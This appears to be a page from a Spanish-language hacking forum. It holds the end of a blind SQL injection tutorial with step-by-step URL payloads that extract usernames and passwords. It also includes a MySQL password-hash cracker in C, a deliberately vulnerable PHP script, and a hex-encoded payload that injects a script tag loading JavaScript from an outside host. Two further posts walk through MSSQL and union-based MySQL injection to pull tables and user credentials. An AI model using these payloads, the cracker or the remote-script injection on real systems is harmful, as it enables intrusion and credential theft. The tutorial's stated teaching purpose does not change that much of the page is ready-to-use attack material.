Nos da falso.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>99

Verdadero!

Por lo que el primer carácter en el nombre de usuario es char(99). Y convirtiéndolo a ascii sabemos
que char (99) es la letra c.

Entonces vamos a comprobar el segundo carácter:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Fíjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carácter, ahora vuelve el segundo
carácter, 1 carácter de longitud.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Nos da falso e incrementamos:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>107

Nos da falso y buscamos un numero menor.

http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>104

Falso, incrementamos ..

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>105

Verdadero!

Sabemos que el segundo carácter es char(105) y que es ``i`` vamos ``ci`` y seguimos incrementando,
cuando > 0 devuelve falso, sabemos que llegamos al final.


Hay herramientas que hacen que esto no sea muy pesado:

http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301

http://sqlmap.sourceforge.net < HERMOSA HERRAMIENTA :$

Les recomiendo leer el tutorial que hizo ka0x que contiene un script donde podemos aplicar los
conocimientos de aquí y el que he usado a lo largo del tutorial :).(http://www.milw0rm.com/papers/download/216)

MySQL cheat sheet:
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

MySQL cheat sheet: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/  (Màs que interesante)

La intencion de este tutorial es solo enseñar y evitar este tipo de vulnerabilidades ..
no me responsabilizo de mal uso de esta información
espero que les sirva!!

TODA LA LECTURA ES OBLIGATORIA

publiquen sus tips,errores o duda en esta publicación :).


Saludos!

---------------------------------

tools:

el soft que use para descifrar el pass:

mysqlfast.c

Código:
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar(`\n`);
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}

----------------------------------------------------
script vulnerable

Code sql!:

Código:
CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL auto_increment,
  `name` varchar(50) NOT NULL,
  `password` varchar(50) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
­­ users ­­
INSERT INTO `users` VALUES (1, `administrator`, `1234%&_`);
INSERT INTO `users` VALUES (2, `ka0x`, `t3st_bl1nd`);
INSERT INTO `users` VALUES (3, `bush`, `terrorist`);

script php:


Código:
<?php 
# ­­­­ CONFIG ­­­­­
$host = `localhost`;
$dbuser = `root`;
$dbpass = `password`;
$dbname = `blind`;
# ­­­­­­­­­­­­­­­­­
echo "<title>Blind SQL Injection Test ­ D.O.M LABS 2008</title>";
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = "SELECT * FROM users WHERE id=".$_GET[`id`];
            $query = mysql_query($sql);
            if(@mysql_num_rows($query)==0){
                    die(`No hay columnas`);
            }
            $result=@mysql_fetch_row($query);
            echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><
br>";
            echo "<font color=`#FF0000`>user_id: </font>".$result[0]."<br>";
            echo "<font color=`#FF0000`>username: </font>".$result[1]."<br>";
            // echo "Password: ".$result[2]."<br>";
            echo "</h2></center>";
            die();
?>


Explorador de base de datos (General Injection Explorer 3.0) atravez de sqli by  PonyMagic

uso: PonyMagic

Código:
 
(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)

Uso:


19  Seguridad Informática / Nivel Web / duda sql inyeccion mssql en: 6 Noviembre 2008, 00:10 am
Bueno mi duda es la siguiente .. estuve realizando una inyeccion y pude sacar datos basicos ( como version,usuario,base de datos),ademàs de eso tambien saque todos los nombres de las bases de datos y de luego pude sacar todas las tablas de una sola base de datos en la cual tenia permisos el usuario.

hice lo siguiente:

asi para sacar las bases de datos:

?id=45 or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP 3 name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--
y cambiando el TOP mostraba las demàs

y asi las tablas:

?id=45 or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP 123 name FROM portal..SYSOBJECTS ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--

la pregunta es .. como puedo sacar las columnas de una tabla?

me refiero a no tener que sacar todas las columnas de todas las tablas si no de una en especial .. algo parecido a esto como en mysql:

from+information_schema.columns+WHERE+table_name = 'usuarios'--

como vemos en MySQL busca las columnas pero solo de esa tabla en especial.
20  Seguridad Informática / Nivel Web / MySQL SQL injection no regresa los datos en: 23 Mayo 2008, 22:10 pm
Bueno he hecho lo siguiente ..

supongamos que tenemos esto.

http://www.site.com/id.php?numero=

bueno enpese haciendo esto ..

http://www.site.com/id.php?numero=-1 order by 1

pero apenas lo hice problemas y tiro el siguiente error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY cuando.IDCUANDO DESC LIMIT 0, 10' at line 1

pero eso se arreglo de la siguiente forma ..

http://www.site.com/id.php?numero=-1 order by 1/*

asi que comente la linea y procedi.


http://www.site.com/id.php?numero=-1 order by 1/*
http://www.site.com/id.php?numero=-1 order by 2/*
http://www.site.com/id.php?numero=-1 order by 3/*
http://www.site.com/id.php?numero=-1 order by 4/*
http://www.site.com/id.php?numero=-1 order by 5/*
hasta que:
http://www.site.com/id.php?numero=-1 order by 6/*
Unknown column '6' in 'order clause'

luego:

http://www.site.com/id.php?numero=-1 union all select 1,2,3,4,5/*

tiro un 2 asi que hice esto.

http://www.site.com/id.php?numero=-1 union all select 1,table_name,3,4,5 from information_schema.tables where table_schema = database()/*

pero obtuve:

SELECT command denied to user 'alguien'@'localhost' for table 'tables'

entonces como no podia y tenia suficientes datos me puse a averiguar las tablas:

http://www.site.com/id.php?numero=-1 union all select 1,concat(username),3,4,5 from users/*

pero me tiro:

Table 'db.users' doesn't exist

asi que probe con otro y puse "usuarios"

http://www.site.com/id.php?numero=-1 union all select 1,concat(username),3,4,5 from usuarios/*

y vaya le pegue! tiro:

Unknown column 'username' in 'field list'

asi que puse otros nombres para reemplazar a "username" hasta que al poner "usuario":

http://www.site.com/id.php?numero=-1 union all select 1,concat(usuario),3,4,5 from usuarios/*

sii! le habia pegado.

pero ...

me tiro la pagina pero no los datos que contenia .. :S.

no habia nada màs que unos : y probe:

http://www.site.com/id.php?numero=-1 union all select 1,concat(pass),3,4,5 from usuarios/*

y tambien le pegue! pero  estaban los 2 puntos .. se que no eran nada pero por las dudas los use para iniciar sesiòn y no tuve resultados.

tambien mire el codigo fuente quizas estaba abajo del flash pero no encontre nada.

por que la pagina no me tira los datos contenidos?



si alguien me puede ayudar estoy aprendiendo  :rolleyes:

Páginas: 1 [2] 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines